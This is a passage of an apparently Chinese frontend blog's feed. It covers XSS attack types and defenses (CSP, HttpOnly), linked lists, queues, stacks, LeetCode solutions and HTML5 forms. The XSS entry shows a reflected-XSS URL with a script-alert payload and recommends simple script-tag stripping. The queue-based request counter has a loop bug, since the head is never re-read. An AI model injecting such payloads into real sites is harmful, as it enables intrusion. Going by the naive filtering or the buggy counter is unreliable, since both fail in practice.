<section><h3>XSS攻击种类<a href="#xss攻击种类"><span>#</span></a></h3><section><h4>存储性XSS 引入恶意脚本代码<a href="#存储性xss-引入恶意脚本代码"><span>#</span></a></h4><p>将恶意代码存储到有漏洞的服务器, 访问含有恶意脚本的页面就会自动加载恶意脚本, 然后恶意脚本就会上传你的cookie到他们的服务器</p></section><section><h4>反射型XSS 放到URL上了<a href="#反射型xss-放到url上了"><span>#</span></a></h4><p>比如说你设置了视图要展示xss参数, 然后点击了一个恶意链接是<code>http://localhost:3000/?xss= &lt;script&gt;alert('你被xss攻击了')&lt;/script&gt; </code> 就会导致xss被替换成了<code>&lt;script&gt;alert('你被xss攻击了')&lt;/script&gt;</code></p><p><strong>恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方（通常是搜索框），然后脚本反射（出现）在新渲染（或者部分刷新）的页面并执行。</strong></p></section><section><h4>基于DOM的XSS<a href="#基于dom的xss"><span>#</span></a></h4><p>比如通过网络传输页面过程中修改HTML页面内容, 有的用wifi路由器劫持, 有的是本地恶意软件, 主要就是在web资源传输过程中或用户使用页面的过程中修改web页面的数据.</p></section></section>
<section><h3>如何阻止XSS攻击<a href="#如何阻止xss攻击"><span>#</span></a></h3><ol>
<li>
<p>对于存储型和反射型可以在<strong>前端过滤关键字以及服务端对一些关键的字符进行转码</strong></p>
<p>​	比如对关键的字符进行转码, 比如把script标签包裹的内容全部替换成空, 这样就可以防止请求的时候携带脚本,  脚本也不会执行</p>
</li>
<li>
<p><strong>充分利用CSP</strong></p>
<p>在获取HTML时配置HTTP头Content-Security-Policy</p>
<p><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP" target="_blank">https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP</a></p>
<ol>
<li>限制加载其他域下的资源文件这样即使插入了一个JavaScript脚本也不会被加载</li>
<li>禁止向第三方域提交数据, 这样用户数据不会泄漏</li>
<li>禁止执行内联脚本和未授权脚本</li>
<li>还有上报机制, 可以帮助发现有哪些XSS攻击, 便于修复</li>
</ol>
</li>
<li>
<p><strong>使用HttpOnly属性</strong></p>
<p>​	很多XSS攻击都是盗用cookie, 因此可以通过服务器设置响应头中的set-cookie中的HttpOnly属性来保护cookie的安全, 使用HttpOnly的cookie在控制台中也是不一样的,  无法用JavaScript来读取, 比如document.cookie就无法读取到了</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250514081731718.png" alt="image-20250514081731718" /><figcaption>image-20250514081731718</figcaption></figure><p></p>
<p>​</p>
</li>
</ol></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/linked-list/</id>
      <title type="text">链表</title>
      <published>2025-05-11T00:00:00.000Z</published>
      <updated>2025-05-11T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/linked-list/"/>
      <summary type="text">数组：增删非首尾元素往往需要移动元素。比如说在数组中间加一个元素，那么这个元素之后的元素都被向后移了一位。删除则是前移。</summary>
      <content type="html"><![CDATA[<section><h3>链表是什么？<a href="#链表是什么"><span>#</span></a></h3><ul>
<li>多个元素组成的列表。</li>
<li>元素的存储不连续，用next指针连在一起。</li>
</ul><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250505172151849.png" alt="image-20250505172151849" /><figcaption>image-20250505172151849</figcaption></figure><p></p></section>
<section><h3>数组VS链表<a href="#数组vs链表"><span>#</span></a></h3><p>数组：增删非首尾元素往往需要移动元素。比如说在数组中间加一个元素，那么这个元素之后的元素都被向后移了一位。删除则是前移。</p><p>链表：增删非首尾元素，不需要移动元素，只需要更改next的指向就可以。</p><p>链表的优势：插入和删除非常快</p><p>时间复杂度取决于你找哪个元素，删除第一个就是O(1)，而删除最后一个就是O(n)</p></section>
<section><h3>如何实现链表<a href="#如何实现链表"><span>#</span></a></h3><p>JavaScript中可以用Object模拟链表。</p></section>
<section><h3>遍历链表<a href="#遍历链表"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>a</span><span> </span><span>=</span><span> {</span><span>val</span><span>:</span><span> </span><span>'a'</span><span>}</span></div></div><div><div><div>2</div></div><div><span>const</span><span> </span><span>b</span><span> </span><span>=</span><span> {</span><span>val</span><span>:</span><span> </span><span>'b'</span><span>}</span></div></div><div><div><div>3</div></div><div><span>const</span><span> </span><span>c</span><span> </span><span>=</span><span> {</span><span>val</span><span>:</span><span> </span><span>'c'</span><span>}</span></div></div><div><div><div>4</div></div><div><span>const</span><span> </span><span>d</span><span> </span><span>=</span><span> {</span><span>val</span><span>:</span><span> </span><span>'d'</span><span>}</span></div></div><div><div><div>5</div></div><div><span><span>a</span><span>.</span></span><span>next</span><span> </span><span>=</span><span><span> </span><span>b</span></span></div></div><div><div><div>6</div></div><div><span><span>b</span><span>.</span></span><span>next</span><span> </span><span>=</span><span><span> </span><span>c</span></span></div></div><div><div><div>7</div></div><div><span><span>c</span><span>.</span></span><span>next</span><span> </span><span>=</span><span><span> </span><span>d</span></span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>let</span><span><span> </span><span>p</span><span> </span></span><span>=</span><span><span> </span><span>a</span></span></div></div><div><div><div>10</div></div><div><span>while</span><span><span> (</span><span>p</span><span>){</span></span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>p</span><span>.</span></span><span>val</span><span>)</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>p</span><span> </span><span>=</span><span><span> </span><span>p</span><span>.</span></span><span>next</span></div></div><div><div><div>13</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h3>在链表中插入值<a href="#在链表中插入值"><span>#</span></a></h3><p>添加e</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>e</span><span> </span><span>=</span><span> {</span><span>val</span><span>:</span><span> </span><span>'e'</span><span>}</span></div></div><div><div><div>2</div></div><div><span><span>b</span><span>.</span></span><span>next</span><span> </span><span>=</span><span><span> </span><span>e</span></span></div></div><div><div><div>3</div></div><div><span><span>e</span><span>.</span></span><span>next</span><span> </span><span>=</span><span><span> </span><span>c</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h3>在链表中删除值<a href="#在链表中删除值"><span>#</span></a></h3><p>删除e</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>b</span><span>.</span></span><span>next</span><span> </span><span>=</span><span><span> </span><span>c</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>自动垃圾回收。</p></section>
<section><h3>链表与前端相关的地方<a href="#链表与前端相关的地方"><span>#</span></a></h3><p>JS的原型链是一个链表。原型链是沿着__proto__指的。</p><p>工作中可以用链表指针获取JSON的节点值。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>json</span><span> </span><span>=</span><span> { </span><span>a</span><span>:</span><span> { </span><span>b</span><span>:</span><span> </span><span>'hello'</span><span> }, </span><span>c</span><span>:</span><span> [</span><span>1</span><span>, </span><span>2</span><span>] };</span></div></div><div><div><div>2</div></div><div><span>const</span><span> </span><span>path</span><span> </span><span>=</span><span> [</span><span>'a'</span><span>, </span><span>'b'</span><span>];</span></div></div><div><div><div>3</div></div><div><span>let</span><span><span> </span><span>point</span><span> </span></span><span>=</span><span><span> </span><span>json</span><span>;</span></span></div></div><div><div><div>4</div></div><div><span><span>path</span><span>.</span></span><span>forEach</span><span><span>(</span><span>key</span><span> </span></span><span>=&gt;</span><span><span> { </span><span>point</span><span> </span></span><span>=</span><span><span> </span><span>point</span><span>[</span><span>key</span><span>] });</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/linked-list/206/</id>
      <title type="text">206.反转链表</title>
      <published>2025-05-11T00:00:00.000Z</published>
      <updated>2025-05-11T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/linked-list/206/"/>
      <summary type="text">双指针遍历</summary>
      <content type="html"><![CDATA[<p>双指针遍历</p>
<div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/**</span></div></div><div><div><div>2</div></div><div><span><span> </span></span><span>* </span><span>@</span><span>param</span><span> </span><span>{ListNode}</span><span> </span><span>head</span></div></div><div><div><div>3</div></div><div><span><span> </span></span><span>* </span><span>@</span><span>return</span><span> </span><span>{ListNode}</span></div></div><div><div><div>4</div></div><div><span><span> </span></span><span>*/</span></div></div><div><div><div>5</div></div><div><span>var</span><span> </span><span>reverseList</span><span> </span><span>=</span><span> </span><span>function</span><span><span>(</span><span>head</span><span>) {</span></span></div></div><div><div><div>6</div></div><div><span>    </span><span>let</span><span><span> </span><span>prev</span><span> </span></span><span>=</span><span> </span><span>null</span><span>; </span><span>// 前一个节点</span></div></div><div><div><div>7</div></div><div><span>    </span><span>let</span><span><span> </span><span>curr</span><span> </span></span><span>=</span><span><span> </span><span>head</span><span>; </span></span><span>// 当前节点</span></div></div><div><div><div>8</div></div><div><span>    </span><span>while</span><span><span>(</span><span>curr</span><span>) {</span></span></div></div><div><div><div>9</div></div><div><span>      </span><span>const</span><span> </span><span>nextTemp</span><span> </span><span>=</span><span><span> </span><span>curr</span><span>.</span></span><span>next</span><span>; </span><span>// 临时保存下一个节点</span></div></div><div><div><div>10</div></div><div><span><span>      </span></span><span>curr</span><span>.</span><span>next</span><span> </span><span>=</span><span><span> </span><span>prev</span><span>;           </span></span><span>// 反转当前节点的指针</span></div></div><div><div><div>11</div></div><div><span><span>      </span></span><span>prev</span><span> </span><span>=</span><span><span> </span><span>curr</span><span>;                </span></span><span>// 向后移动 prev</span></div></div><div><div><div>12</div></div><div><span><span>      </span></span><span>curr</span><span> </span><span>=</span><span><span> </span><span>nextTemp</span><span>;            </span></span><span>// 向后移动 curr</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span>    </span><span>return</span><span><span> </span><span>prev</span><span>; </span></span><span>// 最后 curr 是 null，prev 是新头节点</span></div></div><div><div><div>15</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/linked-list/237/</id>
      <title type="text">237. 删除链表中的节点</title>
      <published>2025-05-11T00:00:00.000Z</published>
      <updated>2025-05-11T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/linked-list/237/"/>
      <summary type="text">思路：删除的节点不会是最后一个，因此可以通过把后一个节点的值赋给当前要删除的节点，并把当前节点的next指针直接跳过后一个节点实现。</summary>
      <content type="html"><![CDATA[<p>思路：删除的节点不会是最后一个，因此可以通过把后一个节点的值赋给当前要删除的节点，并把当前节点的next指针直接跳过后一个节点实现。</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/**</span></div></div><div><div><div>2</div></div><div><span><span> </span></span><span>* </span><span>@</span><span>param</span><span> </span><span>{ListNode}</span><span> </span><span>node</span></div></div><div><div><div>3</div></div><div><span><span> </span></span><span>* </span><span>@</span><span>return</span><span> </span><span>{void}</span><span> Do not return anything, modify node in-place instead.</span></div></div><div><div><div>4</div></div><div><span><span> </span></span><span>*/</span></div></div><div><div><div>5</div></div><div><span>var</span><span> </span><span>deleteNode</span><span> </span><span>=</span><span> </span><span>function</span><span><span>(</span><span>node</span><span>) {</span></span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>node</span><span>.</span><span>val</span><span> </span><span>=</span><span><span> </span><span>node</span><span>.</span></span><span>next</span><span>.</span><span>val</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>node</span><span>.</span><span>next</span><span> </span><span>=</span><span><span> </span><span>node</span><span>.</span></span><span>next</span><span>.</span><span>next</span></div></div><div><div><div>8</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure></div>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/queue/</id>
      <title type="text">队列</title>
      <published>2025-05-05T00:00:00.000Z</published>
      <updated>2025-05-05T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/queue/"/>
      <summary type="text">队列是先进先出的数据结构。</summary>
      <content type="html"><![CDATA[<section><h3>队列是什么？<a href="#队列是什么"><span>#</span></a></h3><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/1ec7750387d946518c9cf4171b5eea3f.gif" alt="img" /><figcaption>img</figcaption></figure><p></p><p>队列是先进先出的数据结构。</p><p>JavaScript没有队列的结构，但是可以通过Array实现队列的结构</p><p>主要就是用到数组的push和shift方法，以及找到队头 queue[0]</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>queue</span><span> </span><span>=</span><span> []</span></div></div><div><div><div>2</div></div><div><span><span>queue</span><span>.</span></span><span>push</span><span>(</span><span>'1'</span><span>)</span></div></div><div><div><div>3</div></div><div><span><span>queue</span><span>.</span></span><span>push</span><span>(</span><span>'2'</span><span>)</span></div></div><div><div><div>4</div></div><div><span>const</span><span> </span><span>item1</span><span> </span><span>=</span><span><span> </span><span>queue</span><span>.</span></span><span>shift</span><span>()</span></div></div><div><div><div>5</div></div><div><span>const</span><span> </span><span>item2</span><span> </span><span>=</span><span><span> </span><span>queue</span><span>.</span></span><span>shift</span><span>()</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h3>队列使用场景<a href="#队列使用场景"><span>#</span></a></h3><p>当无法多个任务并行时，采用先进先出，保持有序性。</p><p>食堂排队打饭，JS异步中的任务队列，计算最近的请求次数(队列)。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image.png" alt="image.png" /><figcaption>image.png</figcaption></figure><p></p><p>计算最近的请求次数</p><p>计算最近3000ms内发送的请求</p><p>[0,1,100,3001,3002]</p><p>[null,1,2,3,3]</p><p>当队头和新插入的元素插值大于3000ms时队头出队。</p></section>
<section><h3>JS异步中的队列<a href="#js异步中的队列"><span>#</span></a></h3><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image%20(2).png" alt="image.png" /><figcaption>image.png</figcaption></figure><p></p><p>webApi执行完毕后会有回调函数里的代码进入Callback Queue，当主线程的同步任务执行完毕以后再执行异步任务。</p></section>
<section><h3>队列总结<a href="#队列总结"><span>#</span></a></h3><p>先进先出的数据结构</p><p>树和图会用到队列进行广度优先遍历。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/queue/933/</id>
      <title type="text">933. 最近的请求次数</title>
      <published>2025-05-05T00:00:00.000Z</published>
      <updated>2025-05-05T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/queue/933/"/>
      <summary type="text">用队列计算最近 3000ms 内的请求次数。</summary>
      <content type="html"><![CDATA[<div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span> </span><span>RecentCounter</span><span> </span><span>=</span><span> </span><span>function</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>this</span><span>.</span><span>queue</span><span> </span><span>=</span><span> []</span></div></div><div><div><div>3</div></div><div><span>};</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>/**</span></div></div><div><div><div>6</div></div><div><span><span> </span></span><span>* </span><span>@</span><span>param</span><span> </span><span>{number}</span><span> </span><span>t</span></div></div><div><div><div>7</div></div><div><span><span> </span></span><span>* </span><span>@</span><span>return</span><span> </span><span>{number}</span></div></div><div><div><div>8</div></div><div><span><span> </span></span><span>*/</span></div></div><div><div><div>9</div></div><div><span>RecentCounter</span><span>.</span><span>prototype</span><span>.</span><span>ping</span><span> </span><span>=</span><span> </span><span>function</span><span><span>(</span><span>t</span><span>) {</span></span></div></div><div><div><div>10</div></div><div><span>    </span><span>this</span><span>.</span><span>queue</span><span>.</span><span>push</span><span><span>(</span><span>t</span><span>)</span></span></div></div><div><div><div>11</div></div><div><span>    </span><span>const</span><span> </span><span>queueHead</span><span> </span><span>=</span><span> </span><span>this</span><span>.</span><span>queue</span><span>[</span><span>0</span><span>]</span></div></div><div><div><div>12</div></div><div><span>    </span><span>while</span><span><span>(</span><span>queueHead</span><span> </span></span><span>&lt;</span><span><span> </span><span>t</span></span><span>-</span><span>3000</span><span>) {</span></div></div><div><div><div>13</div></div><div><span>        </span><span>this</span><span>.</span><span>queue</span><span>.</span><span>shift</span><span>();</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>15</div></div><div><span>    </span><span>return</span><span> </span><span>this</span><span>.</span><span>queue</span><span>.</span><span>length</span></div></div><div><div><div>16</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/stack/</id>
      <title type="text">栈</title>
      <published>2025-05-05T00:00:00.000Z</published>
      <updated>2025-05-05T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/stack/"/>
      <summary type="text">栈是一个后进先出的结构，像一个蜂窝煤炉子</summary>
      <content type="html"><![CDATA[<p>栈是一个<strong>后进先出</strong>的结构，像一个蜂窝煤炉子</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250505095836099.png" alt="image-20250505095836099" /><figcaption>image-20250505095836099</figcaption></figure><p></p>
<p>放进去是push, 弹出就是pop。栈顶就是top。</p>
<p>对应的就是Array的方法push和pop，栈顶可以表示为 arr[arr.length-1]</p>
<p>栈可能需要的方法</p>
<ul>
<li>size 获取栈大小</li>
<li>peek 获取栈顶元素</li>
<li>clear 清空栈</li>
</ul>
<p>JavaScript是没有栈的，但是JS的数组可以实现栈。</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>stack</span><span> </span><span>=</span><span> []</span></div></div><div><div><div>2</div></div><div><span><span>stack</span><span>.</span></span><span>push</span><span>(</span><span>'1'</span><span>)</span></div></div><div><div><div>3</div></div><div><span><span>stack</span><span>.</span></span><span>push</span><span>(</span><span>'2'</span><span>)</span></div></div><div><div><div>4</div></div><div><span><span>stack</span><span>.</span></span><span>pop</span><span>()</span></div></div><div><div><div>5</div></div><div><span><span>stack</span><span>.</span></span><span>pop</span><span>()</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>stack</span><span>)</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>使用场景</p>
<ul>
<li>十进制转二进制</li>
<li>栈可以检查字符串的括号是否有效闭合</li>
<li>倒序输出</li>
<li>浏览器历史记录</li>
<li>JS的函数调用背后也是栈来控制顺序，JS的词法环境也是栈来控制</li>
</ul>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/stack/20/</id>
      <title type="text">20. 有效的括号</title>
      <published>2025-05-05T00:00:00.000Z</published>
      <updated>2025-05-05T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/stack/20/"/>
      <summary type="text">思路：后进的右括号匹配到左括号，左括号就弹出，符合后进先出</summary>
      <content type="html"><![CDATA[<p>思路：后进的右括号匹配到左括号，左括号就弹出，符合后进先出</p>
<div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span> </span><span>isValid</span><span> </span><span>=</span><span> </span><span>function</span><span><span> (</span><span>s</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>    </span><span>if</span><span><span>(</span><span>s</span><span>.</span></span><span>length</span><span>%</span><span>2</span><span>!==</span><span>0</span><span>) </span><span>return</span><span> </span><span>false</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>    </span><span>let</span><span><span> </span><span>stack</span><span> </span></span><span>=</span><span> []</span></div></div><div><div><div>5</div></div><div><span>    </span><span>for</span><span>(</span><span>let</span><span><span> </span><span>i</span><span> </span></span><span>=</span><span> </span><span>0</span><span><span>;</span><span>i</span><span> </span></span><span>&lt;</span><span><span> </span><span>s</span><span>.</span></span><span>length</span><span><span>;</span><span>i</span><span> </span></span><span>++</span><span>) {</span></div></div><div><div><div>6</div></div><div><span>        </span><span>const</span><span> </span><span>curStr</span><span> </span><span>=</span><span><span> </span><span>s</span><span>[</span><span>i</span><span>]</span></span></div></div><div><div><div>7</div></div><div><span>        </span><span>const</span><span> </span><span>map</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>Map</span><span>([[</span><span>'['</span><span>,</span><span>']'</span><span>],[</span><span>'{'</span><span>,</span><span>'}'</span><span>],[</span><span>'('</span><span>,</span><span>')'</span><span>]])</span></div></div><div><div><div>8</div></div><div><span>        </span><span>const</span><span> </span><span>isLeft</span><span> </span><span>=</span><span> [</span><span>'{'</span><span>,</span><span>'('</span><span>,</span><span>'['</span><span>].</span><span>includes</span><span><span>(</span><span>curStr</span><span>)</span></span></div></div><div><div><div>9</div></div><div><span>        </span><span>if</span><span><span>(</span><span>isLeft</span><span>) {</span></span></div></div><div><div><div>10</div></div><div><span><span>            </span></span><span>stack</span><span>.</span><span>push</span><span><span>(</span><span>curStr</span><span>)</span></span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>} </span><span>else</span><span> {</span></div></div><div><div><div>12</div></div><div><span>            </span><span>if</span><span><span>(</span><span>stack</span><span>.</span></span><span>length</span><span> </span><span>===</span><span> </span><span>0</span><span>) </span><span>return</span><span> </span><span>false</span></div></div><div><div><div>13</div></div><div><span>            </span><span>const</span><span> </span><span>lastStr</span><span> </span><span>=</span><span><span> </span><span>stack</span><span>[</span><span>stack</span><span>.</span></span><span>length</span><span> </span><span>-</span><span> </span><span>1</span><span>]</span></div></div><div><div><div>14</div></div><div><span>            </span><span>if</span><span><span>(</span><span>map</span><span>.</span></span><span>get</span><span><span>(</span><span>lastStr</span><span>) </span></span><span>===</span><span><span> </span><span>curStr</span><span>) {</span></span></div></div><div><div><div>15</div></div><div><span><span>                </span></span><span>stack</span><span>.</span><span>pop</span><span>()</span></div></div><div><div><div>16</div></div><div><span><span>            </span></span><span>} </span><span>else</span><span> {</span></div></div><div><div><div>17</div></div><div><span>                </span><span>return</span><span> </span><span>false</span></div></div><div><div><div>18</div></div><div><span><span>            </span></span><span>}</span></div></div><div><div><div>19</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>21</div></div><div><span>    </span><span>return</span><span><span> </span><span>stack</span><span>.</span></span><span>length</span><span> </span><span>===</span><span> </span><span>0</span></div></div><div><div><div>22</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/html/form/</id>
      <title type="text">表单增强</title>
      <published>2025-05-01T00:00:00.000Z</published>
      <updated>2025-05-01T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/html/form/"/>
      <summary type="text">HTML5 对表单的增强极大提升了表单的可用性、可访问性和用户体验。主要增强点如下：</summary>
      <content type="html"><![CDATA[<p>HTML5 对表单的增强极大提升了表单的可用性、可访问性和用户体验。主要增强点如下：</p>
<section><h2>1. 新的表单控件类型<a href="#1-新的表单控件类型"><span>#</span></a></h2>

<table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td><code>type="email"</code></td><td>邮箱格式校验</td></tr><tr><td><code>type="url"</code></td><td>网址格式校验</td></tr><tr><td><code>type="tel"</code></td><td>电话输入</td></tr><tr><td><code>type="number"</code></td><td>数字输入，可设置 min/max/step</td></tr><tr><td><code>type="range"</code></td><td>滑块选择</td></tr><tr><td><code>type="date"</code></td><td>日期选择器</td></tr><tr><td><code>type="month"</code></td><td>月份选择器</td></tr><tr><td><code>type="week"</code></td><td>周选择器</td></tr><tr><td><code>type="time"</code></td><td>时间选择器</td></tr><tr><td><code>type="datetime-local"</code></td><td>本地日期时间选择器</td></tr><tr><td><code>type="color"</code></td><td>颜色选择器</td></tr><tr><td><code>type="search"</code></td><td>搜索输入框</td></tr><tr><td><code>type="file"</code></td><td>文件上传，支持 multiple 多文件</td></tr></tbody></table><hr /></section>
<section><h2>2. 新的属性和特性<a href="#2-新的属性和特性"><span>#</span></a></h2><ul>
<li><code>required</code>：必填项</li>
<li><code>placeholder</code>：输入提示</li>
<li><code>pattern</code>：正则表达式校验</li>
<li><code>min</code>、<code>max</code>、<code>step</code>：数值和日期范围限制</li>
<li><code>autofocus</code>：自动聚焦</li>
<li><code>autocomplete</code>：自动补全</li>
<li><code>multiple</code>：允许多值输入（如 email、file、select）</li>
<li><code>readonly</code>、<code>disabled</code>：只读/禁用状态</li>
<li><code>form</code>：允许表单控件在表单外部，通过 form 属性指定归属的表单</li>
<li><code>novalidate</code>：表单提交时不进行校验</li>
</ul><hr /></section>
<section><h2>3. 新的表单元素<a href="#3-新的表单元素"><span>#</span></a></h2>

<table><thead><tr><th>标签</th><th>作用说明</th></tr></thead><tbody><tr><td><code>&lt;datalist&gt;</code></td><td>为 <code>&lt;input&gt;</code> 提供下拉建议列表</td></tr><tr><td><code>&lt;output&gt;</code></td><td>用于显示计算或脚本输出</td></tr><tr><td><code>&lt;progress&gt;</code></td><td>进度条</td></tr><tr><td><code>&lt;meter&gt;</code></td><td>刻度值条（如分数、温度等）</td></tr></tbody></table><hr /></section>
<section><h2>4. 原生表单校验<a href="#4-原生表单校验"><span>#</span></a></h2><ul>
<li>浏览器自动校验格式（如邮箱、URL、数字范围、正则等），无需 JS 代码</li>
<li>校验不通过时自动阻止提交，并提示用户</li>
</ul><hr /></section>
<section><h2>5. 表单相关的 JS API 增强<a href="#5-表单相关的-js-api-增强"><span>#</span></a></h2><ul>
<li>新增了 <code>checkValidity()</code>、<code>setCustomValidity()</code> 等方法，便于自定义和触发校验</li>
<li>可以通过 JS 访问 <code>validity</code> 状态、<code>validationMessage</code> 等</li>
</ul><hr /></section>
<section><h2>6. 可访问性和移动端体验提升<a href="#6-可访问性和移动端体验提升"><span>#</span></a></h2><ul>
<li>新类型输入框在移动端会弹出合适的键盘（如数字、邮箱、日期等）</li>
<li>更好地支持屏幕阅读器和辅助技术</li>
</ul><hr /></section>
<section><h2>7. 总览表格<a href="#7-总览表格"><span>#</span></a></h2>

<table><thead><tr><th>类型/标签/属性</th><th>作用/增强点</th></tr></thead><tbody><tr><td>新 input 类型</td><td>email, url, number, date 等</td></tr><tr><td>新标签</td><td>datalist, output, progress, meter</td></tr><tr><td>新属性</td><td>required, pattern, min, max, step, multiple, autofocus, autocomplete, placeholder, form</td></tr><tr><td>原生校验</td><td>格式、范围、正则、必填等</td></tr><tr><td>JS API</td><td>checkValidity, setCustomValidity</td></tr><tr><td>移动端体验</td><td>弹出合适键盘，易输入</td></tr></tbody></table><hr /></section>
<section><h2>8. 实践示例<a href="#8-实践示例"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>html</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>html</span><span> </span><span>lang</span><span>=</span><span>"zh-CN"</span><span>&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>&lt;</span><span>head</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>&lt;</span><span>meta</span><span> </span><span>charset</span><span>=</span><span>"UTF-8"</span><span> /&gt;</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>&lt;</span><span>meta</span><span> </span><span>http-equiv</span><span>=</span><span>"X-UA-Compatible"</span><span> </span><span>content</span><span>=</span><span>"IE=edge"</span><span> /&gt;</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>&lt;</span><span>meta</span><span> </span><span>name</span><span>=</span><span>"viewport"</span><span> </span><span>content</span><span>=</span><span>"width=device-width, initial-scale=1.0"</span><span> /&gt;</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>&lt;</span><span>title</span><span>&gt;通用HTML模板&lt;/</span><span>title</span><span>&gt;</span></div></div><div><div><div>9</div></div><div><span>  </span><span>&lt;!-- 样式占位，可自定义CSS --&gt;</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>&lt;</span><span>style</span><span>&gt;</span></div></div><div><div><div>11</div></div><div><span>    </span><span>body</span><span> {</span></div></div><div><div><div>12</div></div><div><span><span>      </span></span><span>font-family: </span><span>Arial</span><span>, </span><span>Helvetica</span><span>, </span><span>sans-serif</span><span>;</span></div></div><div><div><div>13</div></div><div><span><span>      </span></span><span>margin: </span><span>0</span><span>;</span></div></div><div><div><div>14</div></div><div><span><span>      </span></span><span>padding: </span><span>0</span><span>;</span></div></div><div><div><div>15</div></div><div><span><span>      </span></span><span>background: 